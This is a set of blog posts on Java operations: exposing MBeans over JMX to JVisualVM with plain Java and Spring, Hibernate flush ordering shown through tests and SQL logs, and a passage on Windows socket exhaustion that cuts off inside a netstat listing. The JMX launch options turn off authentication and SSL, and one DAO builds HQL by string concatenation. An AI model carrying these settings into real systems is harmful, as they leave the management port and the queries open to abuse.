Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com2tag:blogger.com,1999:blog-30018430.post-68597727810554459902010-03-04T21:18:00.005+08:002011-02-10T17:54:47.331+08:00JMX, JVisualVM监控对系统来说是个非常重要的功能,比如如果你的系统能够显示一个动态变化的每10秒刷新一次的实时销量趋势图,客户一定会非常开心,事实上这个功能也是非常重要的,不是一个玩具。<br />我最近一直在想这个问题,因为这段时间维护系统开始从一个新的角度去看系统开发,开始更多的考虑系统可维护性的问题(对于多数开发者他们只关注开发阶段的问题,但是一个软件系统的生命周期中90%都处于维护阶段),其中监控维护者(系统监控)和客户(偏重业务监控)都需要的工具。<br />自然而然的我就想到了JMX,这个技术已经出现很长时间了,有成熟的规范,有丰富的资料。但是我仍然再想为什么要用JMX来实现监控呢? 有什么优势?我自己定义web service,也一样可以暴露监控和管理接口,如果这样来做那就是轻车熟路,技术上没有门槛。而JMX,对于一套专属的系统来说,规范有多少意义,这些接口只有管理系统可以看到,我宁愿采用定制的,轻型的,一切自己掌控的方案。 如果说因为这是JCP的规范,所以我们应该采用JMX,老实说,理由很牵强。<br />但是我还是看了一遍sun的(O,oracle的)JMX tutorial,现在我想我有了其他的理由,这些理由比JCP更有说服力。<br />1)与JVisualVM的直接整合。<br />2)JDK自带的,无需第三方包<br />3)很容易,学习曲线非常低<br /><br />1。 与JVisualVM的直接整合<br />这是一个很酷的特性,我直接开始想到真实系统的应用场景。系统管理员可以用JVisualVM来监控和管理系统,而定制开发的web系统来管理业务数据,这样,我们只需要写服务器端的代码,而客户端就直接是JVisualVM,简单轻松。看看我实验的代码(来自sun jmx tutorial)<br /><br />* 定义一个StandardMBean(JMX规范中,接口名以MBean结束,比如XXXMBean,而对应的实现类直接去掉MBean就可以了,约定优于配置)<br /><span style="font-style: italic;font-size:85%;" >package org.jmx;<br />public interface HelloMBean {<br />public void sayHello();<br />public int add(int x, int y);<br />public String getName();<br />public int getCacheSize();<br />public void setCacheSize(int size);<br />}</span><br /><span style="font-style: italic;font-size:85%;" ><br />package org.jmx;<br />import javax.management.AttributeChangeNotification;<br />import javax.management.MBeanNotificationInfo;<br />import javax.management.Notification;<br />import javax.management.NotificationBroadcasterSupport;<br />public class Hello extends NotificationBroadcasterSupport implements HelloMBean {<br />public void sayHello() {<br /> System.out.println("hello, world");<br /> }<br />public int add(int x, int y) {<br /> return x + y;<br /> }<br />public String getName() {<br /> return this.name;<br /> }<br />public int getCacheSize() {<br /> return this.cacheSize;<br /> }<br />public synchronized void setCacheSize(int size) {<br /> int oldSize = this.cacheSize;<br /> this.cacheSize = size;<br />System.out.println("Cache size now " + this.cacheSize);<br />Notification n = new AttributeChangeNotification(this, sequenceNumber++, System<br /> .currentTimeMillis(), "CacheSize changed", "CacheSize", "int", oldSize,<br /> this.cacheSize);<br />sendNotification(n);<br /> }<br /><br /> @Override<br /> public MBeanNotificationInfo[] getNotificationInfo() {<br /> String[] types = new String[] { AttributeChangeNotification.ATTRIBUTE_CHANGE };<br /> String name = AttributeChangeNotification.class.getName();<br /> String description = "An attribute of this MBean has changed";<br /> MBeanNotificationInfo info = new MBeanNotificationInfo(types, name, description);<br /> return new MBeanNotificationInfo[] { info };<br /> }<br /><br /> private final String name = "Reginald";<br /> private int cacheSize = DEFAULT_CACHE_SIZE;<br /> private static final int DEFAULT_CACHE_SIZE = 200;<br />private long sequenceNumber = 1;<br />}</span><br /><br />在实现类中继承了<span style="font-style: italic;font-size:85%;" >NotificationBroadcasterSupport ,</span>这样可以向注册的listener发送通知,后来可以看到我从客户端注册了一个listener,这样服务器端发送通知之后,客户端就可以收到(好像在JVisualVM的场景中没有什么作用,但是自定义客户端则非常重要)。<br /><br />* 启动Server端<br /><span style="font-style: italic;font-size:85%;" >package org.jmx;<br /><br />import java.lang.management.ManagementFactory;<br />import javax.management.MBeanServer;<br />import javax.management.ObjectName;<br />public class Main {<br /> public static void main(String[] args) throws Exception {<br /><br />MBeanServer mbs = ManagementFactory.getPlatformMBeanServer(); //1<br />ObjectName name = new ObjectName("com.example.mbeans:type=Hello");<br />Hello mbean = new Hello();<br />mbs.registerMBean(mbean, name); //2<br />System.out.println("Waiting forever..."); //3<br /> Thread.sleep(Long.MAX_VALUE);<br /> }<br />}</span><br /><br />其中 //1 是获得平台platformMBeanServer, JVisualVM会连接到这个MBeanServer,当然也可以通过MBeanServerFactory来创建自己的MBeanServer。<br />//2 注册MBean<br />//3 main thread进入sleep状态,RMI connector server应该是有一个新的线程<br /><br />* 客户端实现<br /><span style="font-style: italic;font-size:85%;" >package org.jmx;<br /><br />import javax.management.MBeanServerConnection;<br />import javax.management.ObjectName;<br />import javax.management.remote.JMXConnector;<br />import javax.management.remote.JMXConnectorFactory;<br />import javax.management.remote.JMXServiceURL;<br /><br />public class MyJConsole {<br />public static void main(String args[]) {<br /> try {<br /> // "jmxrmi" is the default service name registered by PlatformMBeanServer, which can connected<br /> // by JVisualVM and JConsole directly.<br /> JMXServiceURL url = new JMXServiceURL(<br /> "service:jmx:rmi:///jndi/rmi://localhost:4949/jmxrmi"); //1<br /> JMXConnector jmxc = JMXConnectorFactory.connect(url, null);<br />MBeanServerConnection mbsc = jmxc.getMBeanServerConnection();<br /> <br /> // register a listener<br /> System.out.println("Register a remote listener.");<br /> ObjectName name = new ObjectName("com.example.mbeans:type=Hello");<br /> mbsc.addNotificationListener(name, new HelloListener(), null, null); //2<br /> <br /> System.out.println("Waiting forever...");<br /> Thread.sleep(Long.MAX_VALUE);<br /> } catch (Exception e) {<br /> e.printStackTrace();<br /> }<br /> }<br />}</span><br /><br />//1 实例化一个<span style="font-style: italic;font-size:85%;" >JMXServiceURL ,</span><span style="font-size:100%;"> 这个url的格式</span>可以参考<span style="font-style: italic;font-size:85%;" >JMXServiceURL </span><span style="font-size:85%;"><span style="font-size:100%;">的javadoc。</span></span><br />//2 注册客户端listener到远程MBeanServer。 注意所有的类如果实现了Remote和NotificationListener接口,那么在远程传输的时候是传引用而不是值,所以这里listener的逻辑都会在client执行,不是在server端执行。<br /><br />* client listener<br /><span style="font-style: italic;font-size:85%;" >package org.jmx;<br /><br />import javax.management.AttributeChangeNotification;<br />import javax.management.Notification;<br />import javax.management.NotificationListener;<br /><br />public class HelloListener implements NotificationListener {<br /><br /> @Override<br /> public void handleNotification(Notification notification, Object handback) {<br /> if (notification instanceof AttributeChangeNotification){<br /> AttributeChangeNotification attNotification = (AttributeChangeNotification)notification;<br /> System.out.println("change CacheSize from " + attNotification.getOldValue()<br /> + " to " + attNotification.getNewValue());<br /> }<br /> else {<br /> System.out.println(notification);<br /> }<br /> }<br />}</span><br /><br />开始执行这些代码。<br />1) 启动server端<br />>> java -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=4949 -Dcom.sun.management.jmxremote.ssl=false -Djava.rmi.server.hostname=10.40.0.101<br />-Dcom.sun.management.jmxremote.authenticate=false org.jmx.Main (还有制定classpath一类的)<br />* 注意这里的-Djava.rmi.server.hostname=10.40.0.101, 实际上client跑在32bit的win7操作系统上,而server是64bit的linux操作系统, 如果不指定这个属性来绑定4949端口到network interface 10.40.0.101上,那么client可能无法连接到server。 因为client的机器配置为只能访问server的内网ip(10.40.0.101),所以必须绑定server端的VM在10.40.0.101上监听4949端口。<br /><span style="font-style: italic;font-size:85%;" >Waiting forever...<br /><br /></span><span style="font-size:100%;">2)启动客户端</span><span style="font-style: italic;font-size:85%;" ><br /></span><span style="font-size:100%;">>> java org.jmx.MyJConsole</span><span style="font-style: italic;font-size:85%;" ><br />Register a remote listener.<br />Waiting forever...<br /></span><span style="font-size:100%;"><br />3) 启动JVisualVM,从左边窗口可以看到一个‘Local’节点,右键点击,选择‘add JMX connection’, 在conntion中输入‘service:jmx:rmi:///jndi/rmi://localhost:4949/jmxrmi’。你会看到</span><span style="font-size:85%;"><span style="font-size:100%;">新建的这个节点,双击来展开右边的tab pane, 选择‘MBeans,然后你就可以看到自己注册的MBean ’com.example.mbeans:type=Hello‘。 双击节点’Hello‘,在右边选择’Attributes‘ ,并且编辑’cacheSize‘的值为444。</span></span><span style="font-style: italic;font-size:85%;" ><br /></span><span style="font-size:100%;">然后来检查server和client的</span><span style="font-size:100%;">控制台有什么输出。</span><span style="font-style: italic;font-size:85%;" ><br /></span><span style="font-size:85%;"><span style="font-size:100%;">Server: </span><span style="font-style: italic;">Cache size now 444</span><br /><span style="font-size:100%;">Client:</span> <span style="font-style: italic;">change CacheSize from 333 to 444</span></span><span style="font-style: italic;font-size:85%;" ><br /><br /></span><span style="font-size:100%;">怎么样? 还是很值得在项目中采用JMX的吧!</span><span style="font-style: italic;font-size:85%;" ><br /></span><br /><br />Now I finished a example which use Spring to expose JMX to JvisualVM, my test environment: tomcat7.0.29 + spring2.5.6<br />1) Define Spring in web.xml:<br /><?xml version="1.0" encoding="UTF-8"?><br /><web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"<br /> xmlns="http://java.sun.com/xml/ns/javaee" xmlns:web="http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"<br /> xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"<br /> id="WebApp_ID" version="3.0"><br /> <br /> <display-name>Tomcat7</display-name><br /><br /> <!-- ================================================== --><br /> <!-- SPRING CONFIGURATION --><br /> <!-- ================================================== --><br /> <context-param><br /> <param-name>contextConfigLocation</param-name><br /> <param-value>classpath:spring-service.xml</param-value><br /> </context-param><br /><br /> <listener><br /> <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class><br /> </listener><br /></web-app><br /><br />2) Implement a simple POJO:<br />package org.tomcat7;<br /><br />public class HelloBean {<br /> private int age;<br /> private String name;<br /><br /> public int getAge() {<br /> return age;<br /> }<br /><br /> public void setAge(int age) {<br /> this.age = age;<br /> }<br /><br /> public String getName() {<br /> return name;<br /> }<br /><br /> public void setName(String name) {<br /> this.name = name;<br /> }<br /><br /> public void append(String suffix) {<br /> this.name += suffix;<br /> }<br />}<br /><br />3) Export HelloBean by Spring(spring-service.xml):<br /><?xml version="1.0" encoding="UTF-8"?><br /><beans xmlns="http://www.springframework.org/schema/beans"<br /> xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p"<br /> xmlns:aop="http://www.springframework.org/schema/aop" xmlns:context="http://www.springframework.org/schema/context"<br /> xmlns:jee="http://www.springframework.org/schema/jee" xmlns:tx="http://www.springframework.org/schema/tx"<br /> xsi:schemaLocation="<br /> http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-2.5.xsd<br /> http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.5.xsd<br /> http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-2.5.xsd<br /> http://www.springframework.org/schema/jee http://www.springframework.org/schema/jee/spring-jee-2.5.xsd<br /> http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-2.5.xsd"><br /><br /> <!-- this bean must not be lazily initialized if the exporting is to happen --><br /> <bean id="exporter" class="org.springframework.jmx.export.MBeanExporter"<br /> lazy-init="false"><br /> <property name="beans"><br /> <map><br /> <entry key="org.tomcat7:type=HelloBean" value-ref="helloBean" /><br /> </map><br /> </property><br /> </bean><br /><br /> <bean id="helloBean" class="org.tomcat7.HelloBean"><br /> <property name="name" value="Ramon" /><br /> <property name="age" value="30" /><br /> </bean><br /></beans><br /><br />4) Deploy web application to tomcat and launch it. <br />NOTE: modify catelina.sh to enable remote JMX connection(-Dcom.sun.management.jmxremote.port=3333 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false )<br /><br />5) Start JvisualVM, and connect to localhost:3333.<br />Now from 'MBean' tab, you will find our HelloBean, then you can moniter states and invoke operations of it.Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com1tag:blogger.com,1999:blog-30018430.post-5290449636386800912010-02-24T19:58:00.008+08:002013-05-06T18:11:14.147+08:00The flush mode and behaviour of HibernateA few days ago, I found some strange problem from TE's log. There is a service names 'sell ticket', which implement below logic,I will present them in pseudocode.<br />
<ol>
<li>TransactionDao.getByDevAndTraceMessageId(X,Y)</li>
<li>TransactionDao.insert(trans)</li>
<li>SettlementReportDao.getByOperatorAndBatchNoAndMerchant(X,Y,Z)</li>
<li>GameInstanceDao.getByGameIdAndDrawNo(X,Y)</li>
<li>MerchantDao.update(X) //1</li>
<li>MerchantDao.update(Y) //2</li>
<li>TicketDao.insert(X)</li>
<li>LottoEntryDao.insert(X) //1</li>
<li>LottoEntryDao.insert(Y) //2</li>
<li>LottoEntryDao.insert(Z) //3</li>
<li>print log 'finish saving entries'</li>
<li>TransactionDao.update(trans)</li>
<li>commit transaction.</li>
<li>print log 'Start to sync transaction log'</li>
</ol>
Some long transaction spend about 30 seconds from stop#11 to step#14. As my understanding, from step#11 to step#14 only update te_transaction and then commit transaction, why take so long time?<br />
I have below two considerations:<br />
<ol>
<li>when update transaction, this transaction is blocked.</li>
<li>when commit transaction, it will cost much</li>
</ol>
For point#1, it should not be blocked, cause at step#2, this transaction should already captured the lock. For point#2, if all sql statements have been sent to database, then committing should be very quick.<br />
Why?<br />
<br />
I understand hibernate in a wrong way which cause I get wrong conclusion. Let's think about the flush behaviour of hibernate. Each time when we call a Dao to insert,update,delete a entry, it won't hit database immediately, hibernate will record these actions, update entity states. When do flush, hiberate will send all these sql to database. Remember below points:<br />
<ul>
<li>A select statement will always hit database to retrieve latest data from database, and update the related entity in cache(it should be 2nd level cache, which is managed by hibernate, so hibernate runtime is responsible for ensuring that all updates to the state of all entities in the persistence context which could potentially affect the result of the query are visible to the processing of the query.<br /> ..actually it isn't always true, there are 2 exceptions. #1)Query entity by id(entity identifier). for example if insert a entity first, then query that entity by ID, hibernate won't hit the underlying database, as the inserted entity is completedly managed by hibernate runtime. #2)If insert a entity, and then query that entity from outside of hibernate runtime, such as direct JDBC. In this case, as hibernate runtime has no awareness of the querying, it won't flush the insert/update/delete SQL to underlying database. ).</li>
<li>When execute a select query, hibernate will check if some previous actions(save, update,delete) have changed the status of queried entity(if changed, hibernate marked it as dirty). If so, hibernate will flush all update actions of entity to underlying database.</li>
<li>Hibernate will organize all actions into 'insert', 'update','delete' category. When do flushing, hibernate will perform all actions in order 'insert', 'update', 'delete'. It means maybe you invoke a update method before a insert, but in fact, insert will be performed first.</li>
</ul>
Then what is flush? when hibernate will flush? Flush will sync the entity state between hibernate cache and database. In case of below condition, hibernate will perform flush(We are talking about FlushMode.AUTO).<br />
<ul>
<li>Before select, and some previous actions have changed the queried entity state. Image it, if a transaction query a entity(E1), then change some fields(E2), then query this entity again. As query will always hit database, if doesn't flush, this query will get E1. Obviously it is incorrect, that is why hibernate will perform flush before the second query.</li>
<li>Before committing transaction.</li>
<li>Manualy invoke flush() method.</li>
</ul>
....<br />
<br />
"When execute a select enquiry, hibernate will check if some previous actions(save, update,delete) will change the status of queried entity." I will further explain what does this statement means. Lets say there are 2 entities: WorkingKey and Payout(these 2 entities have no any relationship), and:<br />
1) insert a new Payout entity<br />
2) query WorkingKey by some criteria<br />
3) commit transaction.<br />
The test code as below:<br />
<blockquote class="tr_bq">
@Test<br />
public void testHibernateFlush() throws Exception{<br />
Payout p = DomainMocker.mockPayout();<br />
p.getTransaction().setId("TRANS-8111");<br />
logger.debug("before insert payout...");<br />
this.getPayoutDao().insert(p);<br />
logger.debug("before querying working key...");<br />
this.getWorkingKeyDao().getWorkingKey("20101216", "GPE-111");<br />
this.setComplete();<br />
}</blockquote>
Ok, what will be printed out? -------------<br />
<blockquote class="tr_bq">
[2011-01-17 15:39:08,984][main][DEBUG][BaseTransactionTest] before insert payout...<br />
[2011-01-17 15:39:09,046][main][DEBUG][BaseTransactionTest] before querying working key...<br />
[2011-01-17 15:39:09,359][main][INFO ][sqltiming] select workingkey0_.ID as ID24_, workingkey0_.CREATE_TIME as CREATE2_24_, workingkey0_.UPDATE_TIME as UPDATE3_24_, workingkey0_.VERSION as VERSION24_, workingkey0_.CREATE_DATE as CREATE5_24_, workingkey0_.DATA_KEY as DATA6_24_, workingkey0_.GPE_ID as GPE7_24_, workingkey0_.MAC_KEY as MAC8_24_ from GPE_KEY workingkey0_ where workingkey0_.CREATE_DATE='20101216' and workingkey0_.GPE_ID='GPE-111' {executed in 0 msec}<br />
[2011-01-17 15:39:09,375][main][INFO ][sqltiming] insert into PAYOUT (CREATE_TIME, UPDATE_TIME, VERSION, TOTAL_AMOUNT_B4_TAX, DEV_ID, GAME_INSTANCE_ID, IS_BY_MANUAL, IS_VALID, MERCHANT_ID, OPERATOR_ID, SETTLEMENT_FLAG, SETTLEMENT_TIME, STATUS, TICKET_SERIALNO, TOTAL_AMOUNT, TRANSACTION_ID, TYPE, ID) values (2011-01-17 15:39:08.984, 2011-01-17 15:39:08.984, 0, NULL, 0, 'GII-111', 0, 1, 0, NULL, NULL, NULL, 0, '123456', 1245.01, 'TRANS-8111', 1, '97d660a332774c5fa8a434aa9a18c0bf'[BR] {executed in 16 msec}<br />
[2011-01-17 15:39:09,375][main][DEBUG][WorkingKeyDaoImplTest] Committed transaction after execution of test [testHibernateFlush].</blockquote>
-------------<br />
Surprise! You will see 'insert payout...' was executed after 'select workingkey...'. Why? yes, it is due to 'insert Payout' won't change the state of entity 'Workingkey'.<br />
<br />
<div>
<b>Flush in Spring test framework</b></div>
<div>
I wrote a testcase extending from Spring AbstractTransactionalDataSourceSpringContextTests, by spring test framework, the transaction will be rollbacked automatically when finish testcase.</div>
<div>
<blockquote class="tr_bq">
<span class="Apple-tab-span" style="white-space: pre;"> </span>@Test<br />
/** the persistence technology is JPA(hibernate) */<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>public void testInsert() {<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>int init_countOfSP = this.countRowsInTable("RA_TE_TICKET_SCHEMA");<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>int init_countOfEntry = this.countRowsInTable("RA_TE_ENTRY");<br />
// generate a SalePackage instance which map to table 'RA_TE_TICKET_SCHEMA'<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>SalePackage sp = mock();<br />
<span style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>this.getSalePackageDao().insert(sp);<span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>int countOfSP = this.countRowsInTable("RA_TE_TICKET_SCHEMA");<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>int countOfEntry = this.countRowsInTable("RA_TE_ENTRY");<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>assertEquals(init_countOfSP + 1, countOfSP);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>assertEquals(init_countOfEntry + 3, countOfEntry);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}</blockquote>
</div>
<div>
As my understanding, when countRowsInTable("RA_TE_TICKET_SCHEMA") (the underlying SQL is 'select count(0) from RA_TE_TICKET_SCHEMA) hibernate will issue a 'insert salepackage...' to database....but actual result is no any 'insert...' SQL...why??</div>
<div>
It is due to countRowsInTable("RA_TE_TICKET_SCHEMA") is executed from jdbcTemplate(spring + jdbc), JPA implementation has no information of countRowsInTable. Finaly this test case will fail, as no salepackage is inserted into database.</div>
<div>
<br /></div>
<div>
<b>Select will always trigger flush??</b></div>
<div>
Continue with above testcase. As countRowsInTable is executed by JDBC directly, i changed my testcase as below:</div>
<div>
<blockquote class="tr_bq">
<span class="Apple-tab-span" style="white-space: pre;"> </span>@Test<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>public void testInsert() {<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>int init_countOfSP = this.countRowsInTable("RA_TE_TICKET_SCHEMA");<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>int init_countOfEntry = this.countRowsInTable("RA_TE_ENTRY");<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>SalePackage sp = mock();<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>this.getSalePackageDao().insert(sp);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>sp = this.getSalePackageDao().findById(SalePackage.class, sp.getId());<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>assertNotNull(sp);<br />
<span style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>int countOfSP = this.countRowsInTable("RA_TE_TICKET_SCHEMA");<span class="Apple-tab-span" style="white-space: pre;"> </span>int countOfEntry = this.countRowsInTable("RA_TE_ENTRY");<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>assertEquals(init_countOfSP + 1, countOfSP);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>assertEquals(init_countOfEntry + 3, countOfEntry);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}</blockquote>
</div>
<div>
I will query SalePackage immediately after insert, and the implementation of findById:</div>
<div>
<blockquote class="tr_bq">
<span class="Apple-tab-span" style="white-space: pre;"> </span>public <t> T findById(Class<t> clazz, String id){</t></t> </blockquote>
<blockquote class="tr_bq">
<t><t></t></t><span class="Apple-tab-span" style="white-space: pre;"> </span>return this.getJpaTemplate().find(clazz, id);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}</blockquote>
</div>
<div>
The testcase failed again...why? I think it is caused by this.getJpaTemplate().find(clazz, id);. As JPA implementation(hibernate) has its own cache, when findById hibernate will find this entity from its cache, no need to hit database, and the most important is hibernate knows that Entity with id(sp.getid()) is inserted in current transaction, it means no other transactions can see this entity. So hibernate even no need to issue a 'select...' SQL to database, it will retrieve this entity from its local cache directly.</div>
<div>
But how about if we implement findById() like this:<br />
<blockquote>
</blockquote>
</div>
<div>
<div>
<blockquote class="tr_bq">
<span class="Apple-tab-span" style="white-space: pre;"> </span>public <t> T findById(Class<t> clazz, String id){</t></t> </blockquote>
<blockquote class="tr_bq">
<span class="Apple-tab-span" style="white-space: pre;"> </span>List<t> sp = this.getJpaTemplate().find("from SalePackage p where p.id='" + id + "'");</t></blockquote>
<blockquote class="tr_bq">
<span class="Apple-tab-span" style="white-space: pre;"> </span>if (sp.size() > 0)<span class="Apple-tab-span" style="white-space: pre;"> </span>return (T)sp.get(0);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>return null;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}</blockquote>
</div>
<div>
<blockquote>
</blockquote>
</div>
</div>
<div>
The test result is hibernate will issue two SQLs: 'insert salepackage...' and 'select ...with id=..'. As when you call <b>this.getJpaTemplate().find(clazz, id), </b>JPA runtime definitely know that you are query entity by identifier, while if <b>this.getJpaTemplate().find("from SalePackage p where p.id='" + id + "'")</b> hibernate runtime doesn't know it :).</div>
<div>
<br /></div>
<div>
<b>Reference</b><br />
Wow, I found a nice post about hibernate flush, "<a href="http://blog.krecan.net/2008/01/05/flushing-hibernate/">http://blog.krecan.net/2008/01/05/flushing-hibernate/</a>"</div>
Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com0tag:blogger.com,1999:blog-30018430.post-7026014726219513762009-12-07T11:56:00.006+08:002009-12-07T14:38:52.770+08:00Windows, TcpTimedWaitDelay/MaxUserPort在服务器上装的操作系统为windowXP professional SP3,在上面跑了很多东西,包括oracle 10g,tomcat,ftp server,还有一个java程序,最近经常碰到一个问题,就是操作系统会跑出异常信息:<br />An operation on a socket could not be performed because the system lacked sufficient buffer space or because a queue was full(windows socket error:由于系统缓冲区空间不足或者队列已满,不能执行套接字上的操作.(10055),on API 'connect'). <br />于是使用"netstat -an"来查看,觉得系统当前占用的端口也不多,参考下面:<br /> Proto Local Address Foreign Address State<br /> TCP 192.168.2.9:1047 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:1072 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:1073 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:1079 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:1190 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:1335 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:1340 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:1387 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:1447 192.168.2.9:8443 CLOSE_WAIT<br /> TCP 192.168.2.9:1494 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:1047 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:1072 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:1073 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:1079 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:1190 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:1335 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:1340 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:1387 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:1494 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:1592 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:1727 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:2020 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:3152 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:3153 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:3154 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:4133 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:4435 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:4457 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:4471 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:4498 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:4521 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:4537 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:4570 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:4580 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:4766 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:4774 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:4837 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:4880 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.9:4982 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.110:3103 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.110:3104 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.110:3105 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.111:1922 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.113:5047 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.116:3713 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.116:3714 TIME_WAIT<br /> TCP 192.168.2.9:1521 192.168.2.116:3734 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.117:1324 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.117:1325 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.117:1326 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.117:2897 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.117:2898 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.117:2899 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.118:2101 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.118:2105 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.118:2171 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.118:2172 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.118:2490 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.118:2491 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.118:2714 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47877 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47878 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47879 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47880 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47881 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47882 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47883 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47884 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47885 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47886 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47887 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47888 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47889 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47890 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47891 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47892 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47893 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47894 ESTABLISHED<br /> TCP 